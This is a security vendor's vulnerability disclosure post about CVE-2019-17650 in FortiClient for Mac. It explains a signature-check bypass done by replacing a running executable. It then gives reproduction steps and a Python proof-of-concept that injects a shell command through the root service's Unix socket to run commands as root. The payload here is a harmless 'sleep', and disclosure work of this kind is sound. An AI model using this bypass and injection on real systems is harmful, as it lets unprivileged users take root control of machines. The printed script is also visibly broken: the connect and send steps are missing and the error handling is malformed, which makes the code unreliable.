2020-01-14 10:30 | Lasse Trolle Borup

CVE-2019-17650: Privilege escalation in FortiClient for Mac

This post documents a local privilege escalation vulnerability we found in FortiClient for Mac last year. It's a short post, as it's been some time since I reported the bug, and my memory of the details is somewhat limited.

FortiClient for Mac comprises different security features, like Endpoint Protection and a VPN client. Like many security products, FortiClient has a GUI application running in the user’s context, to enable the user to modify certain settings, initiate scans and and request VPN establishment. To allow this, a channel is needed to the primary process running as root. In FortiClient for Mac, this channel uses a custom protocol, and the client attaches to the Unix domain socket located at /var/run/fctservctl.sock to communicate with the root process. This is the channel I decided to target when I started looking for a bug in the application.

Bypassing signature check

The first obstacle I came across was a check performed by the root process every time a new connection occurs on the communication socket. The check consists of the following steps:

First, all processes with a file descriptor on the socket is established by enumerating all processes and going through their file descriptors to see if they refer to the path /var/run/fctservctl.sock:

Enumerating file descriptors

For each process with a file descriptor on the socket, the path to the process executable is established, and the executable is verified as signed by Fortinet.

Verifying the executable at the process path

If verification fails, the process is killed.

To overcome this obstacle, the attacker would need to have the exploit code running in a process with a path pointing to a signed executable. I have previously used code injection into a process running a signed executable to overcome a similar check on Windows (more on this in a later post), but the existing techniques for this on MacOS is troubled by some of the newer security features.

Instead of code injection, I opted to replace the exploit executable with a signed executable after the process has been started, but before the connection is made. In this way, our process will be running the exploit code, but the signature check will be performed on the executable we replace it with. On MacOS, nothing prevents you from unlinking a running executable. After unlinking the existing file, it can be replaced with a signed FortiClient image.

The protocol

Bypassing the signature check allows us to communicate with the root process, but we still need to implement the protocol used on the channel. As the binaries comprising the application has not been stripped of symbols, the names of the functions implementing the protocol yields some information that helps us understand it better. The protocol allows a few basic data types like strings and integers to be serialized, but adds some complexity, as messages can contain submessages. With a mix of a few captured packets and the disassembly of the code, we can create a valid packet, as seen in the python code below.

Command injection

In my experience, it is often easier to locate a bug in code otherwise protected by a security check, as such code is often considered safe from adversaries. In the server executable fctservctl, most of the code for handling requests from clients are located in a single function. Skimming through the decompiled function, the following code draws attention, as it has the trademarks of a standard command injection bug: A string supplied by the client is passed directly to a snprintf call used to build a command.

Building the command string

Sure enough, the created string is subsequently passed to a call to system.

Executing the command

Working our way back through the function, we can piece together the protocol message needed to reach the vulnerable code. Combined with the signature check bypass, the bug allows an unprivileged user to run arbitrary commands as root. The vulnerability has been fixed in version 6.2.2

Steps to reproduce

  1. Login as an unprivileged user.
  2. Copy a python executable to a usercontrolled location as fctservctl:
  3. cp /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python ./fctservctl
  4. Create the file forticlient.py with the following content:
  5. import struct
    import socket
    import sys
    def gmsg_create_int(name, value):
       buf = name + "\x00" + struct.pack('<I',2) + struct.pack('b',(len(value)+1)) + value + "\x00"
       return buf
    def gmsg_create_msg(name, value, first, second):
       buf = name + "\x00" + struct.pack('<I',3) + struct.pack('b',(len(value)+21))
       buf += struct.pack('<I',len(value)+21)
       buf += struct.pack('<I',first)
       buf += struct.pack('<I',second)
       buf += struct.pack('<I',0)
       buf += "\xAB\x74\xDE\x45"
       buf += value + "\x00"
       return buf
    def gmsg_create_str(name, value):
       buf = name + "\x00"+ struct.pack('<I',1) + struct.pack('b',(len(value)+1)) + value + "\x00"
       return buf
    def gmsg_create(data, first, second):
       buf = struct.pack('<I',len(data)+21)
       buf += struct.pack('<I',first)
       buf += struct.pack('<I',second)
       buf += struct.pack('<I',0)
       buf += "\xAB\x74\xDE\x45"
       buf += data
       buf += "\x00"
       return buf
    msg = gmsg_create_str("Language",'`sleep 100`')
    msgmsg = gmsg_create_msg("ServMsg",msg,1,9)
    data = gmsg_create_int("ServID","5") + msgmsg
    buf = gmsg_create(data,1,9)
    sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
    server_address = '/var/run/fctservctl.sock'
    raw_input("Press enter to continue...")
    print >>sys.stderr, 'connecting to %s' % server_address
       recvbuf = sock.recv(1024)
    except socket.error, msg:
       print >>sys.stderr, msg
  6. Execute the python script, do not press enter:
  7. ./fctservctl ./forticlient.py
  8. In a seperate prompt, replace the Python executable with the signed fctservctl binary:
  9. cp /Library/Application\ Support/Fortinet/FortiClient/bin/fctservctl ./fctservctl
  10. Press enter in the python script.
  11. Verify that a "sleep 100" process is running as root:
  12. ps aux | grep sleep

Contact us

+45 5364 8009

[email protected]

Kigkurren 8N 4th floor, 2300 Copenhagen S

Consulting | Training | News

© 2020 Danish Cyber Defence A/S · Kigkurren 8N 4th floor · 2300 Copenhagen S · CVR 38871064